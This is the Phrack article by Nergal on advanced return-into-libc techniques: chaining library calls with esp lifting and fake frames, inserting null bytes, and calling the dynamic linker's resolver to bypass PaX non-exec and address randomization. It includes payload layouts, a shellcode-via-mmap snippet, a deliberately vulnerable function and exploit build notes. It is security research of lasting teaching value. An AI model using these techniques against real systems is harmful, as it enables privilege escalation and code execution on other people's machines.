==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e

```
|=------------=[ The advanced return-into-lib(c) exploits: ]=------------=|
|=-----------------------=[ PaX case study ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ by Nergal <nergal@owl.openwall.com> ]=--------------=|
```

```
                                               May this night carry my will
                         And may these old mountains forever remember this night
                                                  May the forest whisper my name
                    And may the storm bring these words to the end of all worlds

                                                           Ihsahn, "Alsvartr"
```

--[1 - Intro

  This article can be roughly divided into two parts. First, the
advanced return-into-lib(c) techniques are described. Some of the presented
ideas, or rather similar ones, have already been published by others.
However, the available pieces of information are dispersed, usually
platform-specific, somewhat limited, and the accompanying source code is not
instructive enough (or at all). Therefore I have decided to assemble the
available bits and a few of my thoughts into a single document, which should
be useful as a convenient reference. Judging by the contents of many posts
on security lists, the presented information is by no means the common
knowledge.

  The second part is devoted to methods of bypassing PaX in case of
stack buffer overflow (other types of vulnerabilities are discussed at the
end). The recent PaX improvements, namely randomization of addresses the
stack and the libraries are mmapped at, pose an untrivial challenge for an
exploit coder. An original technique of calling directly the dynamic linker's
symbol resolution procedure is presented. This method is very generic and the
conditions required for successful exploitation are usually satisfied.

  Because PaX is Intel platform specific, the sample source code has been
prepared for Linux i386 glibc systems. PaX is not considered sufficiently
stable by most people; however, the presented techniques (described for
Linux on i386 case) should be portable to other OSes/architectures and can
be possibly used to evade other non-executability schemes, including ones
implemented by hardware.

  The reader is supposed to possess the knowledge on standard exploit
techniques. Articles [1] and [2] should probably be assimilated before
further reading. [12] contains a practical description of ELF internals.

--[2 - Classical return-into-libc

  The classical return-into-libc technique is well described in [2], so
just a short summary here. This method is most commonly used to evade
protection offered by the non-executable stack. Instead of returning into
code located within the stack, the vulnerable function should return into a
memory area occupied by a dynamic library. It can be achieved by
overflowing a stack buffer with the following payload:

```
<- stack grows this way
   addresses grow this way ->
------------------------------------------------------------------
| buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ...
------------------------------------------------------------------
                          ^
                          |
                          - this int32 should overwrite saved return address
                            of a vulnerable function

(*) buffer fill-up should overwrite saved %ebp placeholder as well, if the
    latter is used
```

  When the function containing the overflown buffer returns, the
execution will resume at function_in_lib, which should be the address of a
library function. From this function's point of view, dummy_int32 will be the
return address, and arg_1, arg_2 and the following words - the arguments.

Typically, function_in_lib will be the libc system() function address, and
arg_1 will point to "/bin/sh".

--[3 - Chaining return-into-libc calls

----[3.1 - Problems with the classical approach

The previous technique has two essential limitations. First, it is impossible to call another function, which requires arguments, after function_in_lib. Why ? When the function_in_lib returns, the execution will resume at address dummy_int32. Well, it can be another library function, yet its arguments would have to occupy the same place that function_in_lib's argument does. Sometimes this is not a problem (see [3] for a generic example).

Observe that the need for more than one function call is frequent. If a vulnerable application temporarily drops privileges (for example, a setuid application can do seteuid(getuid())), an exploit must regain privileges (with a call to setuid(something) usually) before calling system().

The second limitation is that the arguments to function_in_lib cannot contain null bytes (in case of a typical overflow caused by string manipulation routines). There are two methods to chain multiple library calls.

----[3.2 - "esp lifting" method

This method is designed for attacking binaries compiled with -fomit-frame-pointer flag. In such case, the typical function epilogue looks this way:

```
eplg:
        addl    $LOCAL_VARS_SIZE,%esp
        ret
```

Suppose f1 and f2 are addresses of functions located in a library. We build the following overflow string (I have skipped buffer fill-up to save space):

```
<- stack grows this way
   addresses grow this way ->

---------------------------------------------------------------------------
| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...
---------------------------------------------------------------------------
 ^          ^                                         ^
 |          |                                         |
 |          | <---------LOCAL_VARS_SIZE------------->|
 |
 |-- this int32 should overwrite return address
                      of a vulnerable function
```

PAD is a padding (consisting of irrelevant nonzero bytes), whose length, added to the amount of space occupied by f1's arguments, should equal LOCAL_VARS_SIZE.

How does it work ? The vulnerable function will return into f1, which will see arguments f1_arg, f1_arg2 etc - OK. f1 will return into eplg. The "addl $LOCAL_VARS_SIZE,%esp" instruction will move the stack pointer by LOCAL_VARS_SIZE, so that it will point to the place where f2 address is stored. The "ret" instruction will return into f2, which will see arguments f2_args. Voila. We called two functions in a row.

The similar technique was shown in [5]. Instead of returning into a standard function epilogue, one has to find the following sequence of instructions in a program (or library) image:

```
pop-ret:
        popl any_register
        ret
```

Such a sequence may be created as a result of a compiler optimization of a standard epilogue. It is pretty common.
Now, we can construct the following payload:

```
<- stack grows this way
   addresses grow this way ->
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ...
------------------------------------------------------------------------------
                   ^
                   |
                    - this int32 should overwrite return address
                      of a vulnerable function
```

It works very similarly to the previous example. Instead of moving the stack pointer by LOCAL_VARS_SIZE, we move it by 4 bytes with the "popl any_register" instruction. Therefore, all arguments passed to f1 can occupy at most 4 bytes. If we found a sequence

```
pop-ret2:
        popl any_register_1
        popl any_register_2
        ret
```

then we could pass to f1 two arguments of 4 bytes size each.

The problem with the latter technique is that it is usually impossible to find a "pop-ret" sequence with more than three pops. Therefore, from now on we will use only the previous variation.

In [6] one can find similar ideas, unfortunately with some errors and chaoticly explained.

Note that we can chain an arbitrary number of functions this way. Another note: observe that we do not need to know the exact location of our payload (that is, we don't need to know the exact value of the stack pointer). Of course, if any of the called functions requires a pointer as an argument, and if this pointer should point within our payload, we will need to know its location.

----[3.3 - frame faking (see [4])

This second technique is designed to attack programs compiled _without_ -fomit-frame-pointer option. An epilogue of a function in such a binary looks like this:

```
leaveret:
        leave
        ret
```

Regardless of optimization level used, gcc will always prepend "ret" with "leave". Therefore, we will not find in such binary an useful "esp lifting" sequence (but see later the end of 3.5).

In fact, sometimes the libgcc.a archive contains objects compiled with -fomit-frame-pointer option. During compilation, libgcc.a is linked into an executable by default. Therefore it is possible that a few "add $imm, %esp; ret" sequences can be found in an executable. However, we will not %rely on this gcc feature, as it depends on too many factors (gcc version, compiler options used and others).

Instead of returning into "esp lifting" sequence, we will return into "leaveret". The overflow payload will consist of logically separated parts; usually, the exploit code will place them adjacently.

```
<- stack grows this way
   addresses grow this way ->

                       saved FP   saved vuln. function's return address
--------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret |
-------------------------|------------------
                         |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                   overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...
-----|-----------------------------------------
     |                       the first frame
     +-+
       |
       v
     ------------------------------------------------
     | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
     -----|------------------------------------------
          |                  the second frame
          +-- ...
```

fake_ebp0 should be the address of the "first frame", fake_ebp1 - the address of the second frame, etc.

Now, some imagination is needed to visualize the flow of execution.

1) The vulnerable function's epilogue (that is, leave;ret) puts fake_ebp0
   into %ebp and returns into leaveret.
2) The next 2 instructions (leave;ret) put fake_ebp1 into %ebp and
   return into f1. f1 sees appropriate arguments.
3) f1 executes, then returns.

Steps 2) and 3) repeat, substitute f1 for f2,f3,...,fn.

In [4] returning into a function epilogue is not used. Instead, the author proposed the following. The stack should be prepared so that the code would return into the place just after F's prologue, not into the function F itself. This works very similarly to the presented solution. However, we will soon face the situation when F is reachable only via PLT. In such case, it is impossible to return into the address F+something; only the technique presented here will work. (BTW, PLT acronym means "procedure linkage table". This term will be referenced a few times more; if it does not sound familiar, have a look at the beginning of [3] for a quick introduction or at [12] for a more systematic description).

Note that in order to use this technique, one must know the precise location of fake frames, because fake_ebp fields must be set accordingly. If all the frames are located after the buffer fill-up, then one must know the value of %esp after the overflow. However, if we manage somehow to put fake frames into a known location in memory (in a static variable preferably), there is no need to guess the stack pointer value.

There is a possibility to use this technique against programs compiled with -fomit-frame-pointer. In such case, we won't find leave&ret code sequence in the program code, but usually it can be found in the startup routines (from crtbegin.o) linked with the program. Also, we must change the "zeroth" chunk to

```
-------------------------------------------------------
| buffer fill-up(*) | leaveret | fake_ebp0 | leaveret |
-------------------------------------------------------
                          ^
                          |
                          |-- this int32 should overwrite return address
                                   of a vulnerable function
```

Two leaverets are required, because the vulnerable function will not set up %ebp for us on return. As the "fake frames" method has some advantages over "esp lifting", sometimes it is necessary to use this trick even when attacking a binary compiled with -fomit-frame-pointer.

----[3.4 - Inserting null bytes

One problem remains: passing to a function an argument which contains 0. But when multiple function calls are available, there is a simple solution. The first few called functions should insert 0s into the place occupied by the parameters to the next functions.

Strcpy is the most generic function which can be used. Its second argument should point to the null byte (located at some fixed place, probably in the program image), and the first argument should point to the byte which is to be nullified. So, thus we can nullify a single byte per a function call. If there is need to zero a few int32 location, perhaps other solutions will be more space-effective. For example, sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); will nullify a byte at some_writable_addr and nullify int32 locations at ptr1, ptr2, ptr3, ptr4. Many other functions can be used for this purpose, scanf being one of them (see [5]).

Note that this trick solves one potential problem. If all libraries

are mmapped at addresses which contain 0 (as in the case of Solar
Designer non-exec stack patch), we can't return into a library directly,
because we can't pass null bytes in the overflow payload. But if strcpy (or
sprintf, see [3]) is used by the attacked program, there will be the
appropriate PLT entry, which we can use. The first few calls should be the
calls to strcpy (precisely, to its PLT entry), which will nullify not the
bytes in the function's parameters, but the bytes in the function address
itself. After this preparation, we can call arbitrary functions from
libraries again.

----[3.5 - Summary

Both presented methods are similar. The idea is to return from a
called function not directly into the next one, but into some function
epilogue, which will adjust the stack pointer accordingly (possibly with
the help of the frame pointer), and transfer the control to the next
function in the chain.

In both cases we looked for an appropriate epilogue in the
executable body. Usually, we may use epilogues of library functions as
well. However, sometimes the library image is not directly reachable. One
such case has already been mentioned (libraries can be mmapped at addresses
which contain a null byte), we will face another case soon. Executable's
image is not position independent, it must be mmapped at a fixed location
(in case of Linux, at 0x08048000), so we may safely return into it.

----[3.6 - The sample code

The attached files, ex-move.c and ex-frames.c, are the exploits for
vuln.c program. The exploits chain a few strcpy calls and a mmap call. The
additional explanations are given in the following chapter (see 4.2);
anyway, one can use these files as templates for creating return-into-lib
exploits.

--[4 - PaX features

----[4.1 - PaX basics

If you have never heard of PaX Linux kernel patch, you are advised to
visit the project homepage [7]. Below there are a few quotations from the
PaX documentation.

> "this document discusses the possibility of implementing non-executable
> pages for IA-32 processors (i.e. pages which user mode code can read or
> write, but cannot execute code in). since the processor's native page
> table/directory entry format has no provision for such a feature, it is
> a non-trivial task."

> "[...] there is a desire to provide some sort of programmatic way for
> protecting against buffer overflow based attacks. one such idea is the
> implementation of non-executable pages which eliminates the possibility
> of executing code in pages which are supposed to hold data only[...]"

> "[...] possible to write [kernel mode] code which will cause an

   inconsistent state in the DTLB and ITLB entries.[...] this very same
   mechanism would allow for creating another kind of inconsistent state
   where only data read/write accesses would be allowed and code execution
   prohibited. and this is what is needed for protecting against (many)
   buffer overflow based attacks."

To sum up, a buffer overflow exploit usually tries to run code smuggled within some data passed to the attacked process. The main PaX functionality is to disallow execution of all data areas - thus PaX renders typical exploit techniques useless.

--[4.2 - PaX and return-into-lib exploits

Initially, non-executable data areas was the only feature of PaX. As you may have already guessed, it is not enough to stop return-into-lib exploits. Such exploits run code located within libraries or binary itself - the perfectly "legitimate" code. Using techniques described in chapter 3, one is able to run multiple library functions, which is usually more than enough to take advantage of the exploited program's privileges.

Even worse, the following code will run successfully on a PaX protected system:

```
    char shellcode[] = "arbitrary code here";
    mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE,
                           MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset);
    strcpy(0xaa011000+1, shellcode);
    return into 0xaa011000+1;
```

A quick explanation: mmap call will allocate a memory region at 0xaa011000. It is not related to any file object, thanks to the MAP_ANON flag, combined with the file descriptor equal to -1. The code located at 0xaa011000 can be executed even on PaX (because PROT_EXEC was set in mmap arguments). As we see, the arbitrary code placed in "shellcode" will be executed.

Time for code examples. The attached file vuln.c is a simple program with an obvious stack overflow. Compile it with:

```
$ gcc -o vuln-omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
```

The attached files, ex-move.c and ex-frames.c, are the exploits for vuln-omit and vuln binaries, respectively. Exploits attempt to run a sequence of strcpy() and mmap() calls. Consult the comments in the README.code for further instructions.

If you plan to test these exploits on a system protected with recent version of PaX, you have to disable randomizing of mmap base with

```
$ chpax -r vuln; chpax -r vuln-omit
```

----[4.3 - PaX and mmap base randomization

In order to combat return-into-lib(c) exploits, a cute feature was added to PaX. If the appropriate option (CONFIG_PAX_RANDMMAP) is set during kernel configuration, the first loaded library will be mmapped at random location (next libraries will be mmapped after the first one). The same applies to the stack. The first library will be mmapped at 0x40000000+random*4k, the stack top will be equal to 0xc0000000-random*16; in both cases, "random" is a pseudo random unsigned 16-bit integer, obtained with a call to get_random_bytes(), which yields cryptographically strong data.

One can test this behavior by running twice "ldd some_binary" command or executing "cat /proc/$$/maps" from within two invocations of a shell. Under PaX, the two calls yield different results:

```
nergal@behemoth 8 > ash
$ cat /proc/$$/maps
08048000-08058000 r-xp 00000000 03:45 77590      /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590      /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
4b150000-4b166000 r-xp 00000000 03:45 107760     /lib/ld-2.1.92.so
4b166000-4b167000 rw-p 00015000 03:45 107760     /lib/ld-2.1.92.so
4b167000-4b168000 rw-p 00000000 00:00 0
4b16e000-4b289000 r-xp 00000000 03:45 107767     /lib/libc-2.1.92.so
4b289000-4b28f000 rw-p 0011a000 03:45 107767     /lib/libc-2.1.92.so
4b28f000-4b293000 rw-p 00000000 00:00 0
bff78000-bff7b000 rw-p ffffe000 00:00 0
$ exit
nergal@behemoth 9 > ash
$ cat /proc/$$/maps
08048000-08058000 r-xp 00000000 03:45 77590      /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590      /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
48b07000-48b1d000 r-xp 00000000 03:45 107760     /lib/ld-2.1.92.so
48b1d000-48b1e000 rw-p 00015000 03:45 107760     /lib/ld-2.1.92.so
48b1e000-48b1f000 rw-p 00000000 00:00 0
48b25000-48c40000 r-xp 00000000 03:45 107767     /lib/libc-2.1.92.so
48c40000-48c46000 rw-p 0011a000 03:45 107767     /lib/libc-2.1.92.so
48c46000-48c4a000 rw-p 00000000 00:00 0
bff76000-bff79000 rw-p ffffe000 00:00 0
```

CONFIG_PAX_RANDMMAP feature makes it impossible to simply return into a library. The address of a particular function will be different each time a binary is run.

This feature has some obvious weaknesses; some of them can (and should be) fixed:

1) In case of a local exploit the addresses the libraries and the stack are mmapped at can be obtained from the world-readable /proc/pid_of_attacked_process/maps pseudofile. If the data overflowing the buffer can be prepared and passed to the victim after the victim process has started, an attacker has all information required to construct the overflow data. For example, if the overflowing data comes from program arguments or environment, a local attacker loses; if the data comes from some I/O operation (socket, file read usually), the local attacker wins. Solution: restrict access to /proc files, just like it is done in many other security patches.

2) One can bruteforce the mmap base. Usually (see the end of 6.1) it is enough to guess the libc base. After a few tens of thousands tries, an

attacker has a fair chance of guessing right. Sure, each failed attempt is logged, but even large amount of logs at 2 am prevent nothing :) Solution: deploy segvguard [8]. It is a daemon which is notified by the kernel each time a process crashes with SIGSEGV or similar. Segvguard is able to temporarily disable execution of programs (which prevents bruteforcing), and has a few interesting features more. It is worth to use it even without PaX.

3) The information on the library and stack addresses can leak due to format bugs. For example, in case of wuftpd vulnerability, one could explore the stack with the command

```
site exec [eat stack]%x.%x.%x...
```

The automatic variables' pointers buried in the stack will reveal the stack base. The dynamic linker and libc startup routines leave on the stack some pointers (and return addresses) to the library objects, so it is possible to deduce the libraries base as well.

4) Sometimes, one can find a suitable function in an attacked binary (which is not position-independent and can't be mmapped randomly). For example, "su" has a function (called after successful authentication) which acquires root privileges and executes a shell - nothing more is needed.

5) All library functions used by a vulnerable program can be called via their PLT entry. Just like the binary, PLT must be present at a fixed address. Vulnerable programs are usually large and call many functions, so there is some probability of finding interesting stuff in PLT.

In fact only the last three problems cannot be fixed, and none of them is guaranteed to manifest in a manner allowing successful exploitation (the fourth is very rare). We certainly need more generic methods.

In the following chapter I will describe the interface to the dynamic linker's dl-resolve() function. If it is passed appropriate arguments, one of them being an asciiz string holding a function name, it will determine the actual function address. This functionality is similar to dlsym() function. Using the dl-resolve() function, we are able to build a return-into-lib exploit, which will return into a function, whose address is not known at exploit's build time. [12] also describes a method of acquiring a function address by its name, but the presented technique is useless for our purposes.

--[5 - The dynamic linker's dl-resolve() function

This chapter is simplified as much as possible. For the detailed description, see [9] and glibc sources, especially the file dl-runtime.c. See also [12].

----[5.1 - A few ELF data types

The following definitions are taken from the include file elf.h:

```
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field.  */
#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)               ((val) & 0xff)


typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;
```
The fields st_size, st_info and st_shndx are not used during symbol resolution.

----[5.2 - A few ELF data structures

The ELF executable file contains a few data structures (arrays mainly) which are of some interest for us. The location of these structures can be retrieved from the executable's dynamic section. "objdump -x file" will display the contents of the dynamic section:

```
$ objdump -x some_executable
... some other interesting stuff...
Dynamic Section:
...
  STRTAB      0x80484f8 the location of string table (type char *)
  SYMTAB      0x8048268 the location of symbol table (type Elf32_Sym*)
....
  JMPREL      0x8048750 the location of table of relocation entries
                        related to PLT (type Elf32_Rel*)
...
  VERSYM      0x80486a4 the location of array of version table indices
                        (type uint16_t*)
```
"objdump -x" will also reveal the location of .plt section, 0x08048894 in the example below:
```
 11 .plt          00000230  08048894  08048894  00000894  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
```

----[5.3 - How dl-resolve() is called from PLT

A typical PLT entry (when elf format is elf32-i386) looks this way:

```
(gdb) disas some_func
Dump of assembler code for function some_func:
0x804xxx4 <some_func>:     jmp    *some_func_dyn_reloc_entry
0x804xxxa <some_func+6>:   push   $reloc_offset
0x804xxxf <some_func+11>:  jmp    beginning_of_.plt_section
```

PLT entries differ only by $reloc_offset value (and the value of some_func_dyn_reloc_entry, but the latter is not used for the symbol

```
resolution algorithm).

  As we see, this piece of code pushes $reloc_offset onto the stack
and jumps at the beginning of .plt section. After a few instructions, the
control is passed to dl-resolve() function, reloc_offset being one of its
arguments (the second one, of type struct link_map *, is irrelevant for us).
The following is the simplified dl-resolve() algorithm:

1) calculate some_func's relocation entry
        Elf32_Rel * reloc = JMPREL + reloc_offset;

2) calculate some_func's symtab entry
        Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];

3) sanity check
          assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT);

4) late glibc 2.1.x (2.1.92 for sure) or newer, including 2.2.x, performs
   another check. if sym->st_other & 3 != 0, the symbol is presumed to have
   been resolved before, and the algorithm goes another way (and probably
   ends with SIGSEGV in our case). We must ensure that sym->st_other &
   3 == 0.

5) if symbol versioning is enabled (usually is), determine the version table
   index
        uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ];

and find version information
        const struct r_found_version *version =&l->l_versions[ndx];

  where l is the link_map parameter. The important part here is that ndx must
  be a legal value, preferably 0, which means "local symbol".

6) the function name (an asciiz string) is determined:
        name = STRTAB + sym->st_name;

7) The gathered information is sufficient to determine some_func's address.
   The results are cached in two variables of type Elf32_Addr, located at
   reloc->r_offset and sym->st_value.

8) The stack pointer is adjusted, some_func is called.

Note: in case of glibc, this algorithm is performed by the fixup() function,
called by dl-runtime-resolve().


----[ 5.4 - The conclusion

        Suppose we overflow a stack buffer with the following payload

--------------------------------------------------------------------------
| buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ...
--------------------------------------------------------------------------
                         ^
                         |
                         - this int32 should overwrite saved return address
                           of a vulnerable function
```

If we prepare appropriate sym and reloc variables (of type Elf32_Sym and Elf32_Rel, respectively), and calculate appropriate reloc_offset, the control will be passed to the function, whose name is found at STRTAB + sym->st_name (we control it of course). Arguments arg1, arg2 will be placed appropriately, and still we have opportunity to return into another function (ret_addr).

The attached dl-resolve.c is a sample code which implements the described technique. Beware, you have to compile it twice (see the comments in the README.code).

--[6 - Defeating PaX

----[6.1 - Requirements

In order to use the "ret-into-dl" technique described in chapter 5, we need to position a few structures at appropriate locations. We will need a function, which is capable of moving bytes to a selected place. The obvious choice is strcpy; strncpy, sprintf or similar would do as well. So, just like in [3], we will require that there is a PLT entry for strcpy in an attacked program's image.

"Ret-into-dl" solves a problem with randomly mmapped libraries; however, the problem of the stack remains. If the overflow payload resides on the stack, its address will be unknown, and we will be unable to insert 0s into it with strcpy (see 3.3). Unfortunately, I haven't come up with a generic solution (anyone?). Two methods are possible:

1) if scanf() function is available in PLT, we may try to execute something like

```
     scanf("%s\n",fixed_location)
```

   which will copy from stdin appropriate payload into fixed_location. When using "fake frames" technique, the stack frames can be disjoint, so we will be able to use fixed_location as frames.

2) if the attacked binary is compiled with -fomit-frame-pointer, we can chain multiple strcpy calls with the "esp lifting" method even if %esp is unknown (see the note at the end of 3.2). The nth strcpy would have the following arguments:

```
     strcpy(fixed_location+n, a_pointer_within_program_image)
```

   This way we can construct, byte by byte, appropriate frames at fixed_location. When it is done, we switch from "esp lifting" to "fake frames" with the trick described at the end of 3.3.

More similar workarounds can be devised, but in fact they usually will not be needed. It is very likely that even a small program will copy some user-controlled data into a static or malloced variable, thus saving us the work described above.

To sum up, we will require two (fairly probable) conditions to be met:

6.1.1) strcpy (or strncpy, sprintf or similar) is available via PLT

```
6.1.2) during normal course of execution, the attacked binary copies
       user-provided data into a static (preferably) or malloced variable.


----[ 6.2 - Building the exploit

  We will try to emulate the code in dl-resolve.c sample exploit. When
a rwx memory area is prepared with mmap (we will call mmap with the help of
ret-into-dl), we will strcpy the shellcode there and return into the copied
shellcode. We discuss the case of the attacked binary having been compiled
without -fomit-frame-pointer and the "frame faking" method.

  We need to make sure that three related structures are placed properly:

1) Elf32_Rel reloc
2) Elf32_Sym sym
3) unsigned short verind (which should be 0)
   How the addresses of verind and sym are related ? Let's assign to
   "real_index" the value of ELF32_R_SYM (reloc->r_info); then

        sym         is at SYMTAB+real_index*sizeof(Elf32_Sym)
        verind      is at VERSYM+real_index*sizeof(short)

  It looks natural to place verind at some place in .data or .bss section
and nullify it with two strcpy calls. Unfortunately, in such case
real_index tends to be rather large. As sizeof(Elf32_Sym)=16, which is
larger than sizeof(short), sym would likely be assigned the address beyond
a process' data space. That is why in dl-resolve.c sample program (though
it is very small) we have to allocate a few tens of thousands (RQSIZE) of
bytes.

  Well, we can arbitrarily enlarge a process' data space with setting
MALLOC_TOP_PAD_ environ variable (remember traceroute exploit ?), but this
would work only in case of a local exploit. Instead, we will choose more
generic (and cheaper) method. We will place verind lower, usually within
read-only mmapped region, so we need to find a null short there. The
exploit will relocate "sym" structure into an address determined by verind
location.

  Where to look for this null short ? First, we should determine (by
consulting /proc/pid/maps just before the attacked program crashes) the
bounds of the memory region  which is mmapped writable (the executable's
data area) when the overflow occurs. Say, these are the addresses within
[low_addr,hi_addr]. We will copy "sym" structure there. A simple
calculation tells us that real_index must be within
[(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16], so we have to look for null
short within [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8].
Having found a suitable verind, we have to check additionally that

1) sym's address won't intersect our fake frames
2) sym's address won't overwrite any internal linker data (like strcpy's
   GOT entry)

3) remember that the stack pointer will be moved to the static data area.
   There must be enough room for stack frames allocated by the dynamic
   linker procedures. So, its best (though not necessary) to place "sym"
   after our fake frames.
```

An advice: it's better to look for a suitable null short with gdb, than analyzing "objdump -s" output. The latter does not display memory placed after .rodata section.

The attached ex-pax.c file is a sample exploit against pax.c. The only difference between vuln.c and pax.c is that the latter copies another environment variable into a static buffer (so 6.1.2 is satisfied).

--[7 - Misc

----[7.1 - Portability

Because PaX is designed for Linux, throughout this document we focused on this OS. However, presented techniques are OS independent. Stack and frame pointers, C calling conventions, ELF specification - all these definitions are widely used. In particular, I have successfully run dl-resolve.c on Solaris i386 and FreeBSD. To be exact, mmap's fourth argument had to be adjusted (looks like MAP_ANON has different value on BSD systems). In case of these two OS, the dynamic linker do not feature symbol versions, so ret-into-dl is even easier to accomplish.

----[7.2 - Other types of vulnerabilities

All presented techniques are based on stack buffer overflow. All return-into-something exploits rely on the fact that with a single overflow we can not only modify %eip, but also place function arguments (after the return address) at the stack top.

Let's consider two other large classes of vulnerabilities: malloc control structures corruption and format string attacks. In case of the previous, we may at most count on overwriting an arbitrary int with an arbitrary value - it is too little to bypass PaX protection genericly. In case of the latter, we may usually alter arbitrary number of bytes. If we could overwrite saved %ebp and %eip of any function, we wouldn't need anything more; but because the stack base is randomized, there is no way to determine the address of any frame.

***
(Digression: saved FP is a pointer which can be used as an argument to %hn. But the succesfull exploitation would require three function returns and preferably an appropriately located user-controlled 64KB buffer.)
***

I hope that it is obvious that changing some GOT entry (that is, gaining control over %eip only) is not enough to evade PaX.

However, there is an exploitable scenario that is likely to happen. Let's assume three conditions:

1) The attacked binary has been compiled with -fomit-frame-pointer
2) There is a function f1, which allocates a stack buffer whose content we control
3) There is a format bug (or a misused free()) in the function f2, which is called (possibly indirectly) by f1.

The sample vulnerable code follows:

```
        void f2(char * buf)
        {
                printf(buf); // format bug here
                some_libc_function();
        }
        void f1(char * user_controlled)
        {
                char buf[1024];
                buf[0] = 0;
                strncat(buf, user_controlled, sizeof(buf)-1);
                f2(buf);
        }
```

  Suppose f1() is being called. With the help of a malicious format string we can alter some_libc_function's GOT entry so that it contains the address of the following piece of code:

```
        addl $imm, %esp
        ret
```

that is, some epilogue of a function. In such case, when some_libc_function is called, the "addl $imm, %esp" instruction will alter %esp. If we choose an epilogue with a proper $imm, %esp will point within "buf" variable, whose content is user controlled. From this moment on, the situation looks just like in case of a stack buffer overflow. We can chain functions, use ret-into-dl etc.

  Another case: a stack buffer overflow by a single byte. Such overflow nullifies the least significant byte of a saved frame pointer. After the second function return, an attacker has a fair chance to gain full control over the stack, which enables him to use all the presented techniques.

----[7.3 - Other non-exec solutions

  I am aware of two other solutions, which make all data areas non-executable on Linux i386. The first one is RSX [10]. However, this solution does not implement stack nor libraries base randomization, so techniques described in chapter 3 are sufficient to chain multiple function calls.

  Some additional effort must be invested if we want to execute arbitrary code. On RSX, one is not allowed to execute code placed in a writable memory area, so the mmap(...PROT_READ|PROT_WRITE|PROT_EXEC) trick does not work. But any non-exec scheme must allow to execute code from shared libraries. In RSX case, it is enough to mmap(...PROT_READ|PROT_EXEC) a file containing a shellcode. In case of a remote exploit, the function chaining allows us to even create such a file first.

  The second solution, kNoX [11], is very similar to RSX. Additionally, it mmaps all libraries at addresses starting at 0x00110000 (just like in the case of Solar's patch). As mentioned at the end of 3.4, this protection is insufficient as well.

----[7.4 - Improving existing non-exec schemes

(Un)fortunately, I don't see a way to fix PaX so that it would be immune to the presented techniques. Clearly, ELF standard specifies too many features useful for attackers. Certainly, some of presented tricks can be stopped from working. For example, it is possible to patch the kernel so that it would not honor MAP_FIXED flag when PROT_EXEC is present. Observe this would not prevent shared libraries from working, while stopping the presented exploits. Yet, this fixes only one possible usage of function chaining.

On the other hand, deploying PaX (especially when backed by segvguard) can make the successful exploitation much more difficult, in some cases even impossible. When (if) PaX becomes more stable, it will be wise to use it, simply as another layer of defense.

----[7.5 - The versions used

I have tested the sample code with the following versions of patches:

```
pax-linux-2.4.16.patch
kNoX-2.2.20-pre6.tar.gz
rsx.tar.gz for kernel 2.4.5
```

You may test the code on any vanilla 2.4.x kernel as well. Due to some optimisations, the code will not run on 2.2.x.

--[8 - Referenced publications and projects

```
[1] Aleph One
        the article in phrack 49 that everybody quotes
[2] Solar Designer
        "Getting around non-executable stack (and fix)"
        http://www.securityfocus.com/archive/1/7480
[3] Rafal Wojtczuk
        "Defeating Solar Designer non-executable stack patch"
        http://www.securityfocus.com/archive/1/8470
[4] John McDonald
        "Defeating Solaris/SPARC Non-Executable Stack Protection"
        http://www.securityfocus.com/archive/1/12734
[5] Tim Newsham
        "non-exec stack"
        http://www.securityfocus.com/archive/1/58864
[6] Gerardo Richarte, "Re: Future of buffer overflows ?"
        http://www.securityfocus.com/archive/1/142683
[7] PaX team
        PaX
        http://pageexec.virtualave.net
[8] segvguard
        ftp://ftp.pl.openwall.com/misc/segvguard/
[9] ELF specification
        http://fileformat.virtualave.net/programm/elf11g.zip
[10] Paul Starzetz
        Runtime addressSpace Extender
```

        http://www.ihaquer.com/software/rsx/
[11] Wojciech Purczynski
        kNoX
        http://cliph.linux.pl/knox
[12] grugq
        "Cheating the ELF"
        http://hcunix.7350.org/grugq/doc/subversiveld.pdf

<++> phrack-nergal/README.code !35fb8b53

The advanced return-into-lib(c) exploits:
PaX case study
Comments on the sample exploit code

by Nergal

First, you have to prepare the sample vulnerable programs:

```
$ gcc -o vuln.omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
$ gcc -o pax pax.c
```

You may strip the binaries if you wish.

I. ex-move.c
~~~~~~~~~~~~

At the top of ex-move.c, there are definitions for LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them. MMAP_START can be left untouched.

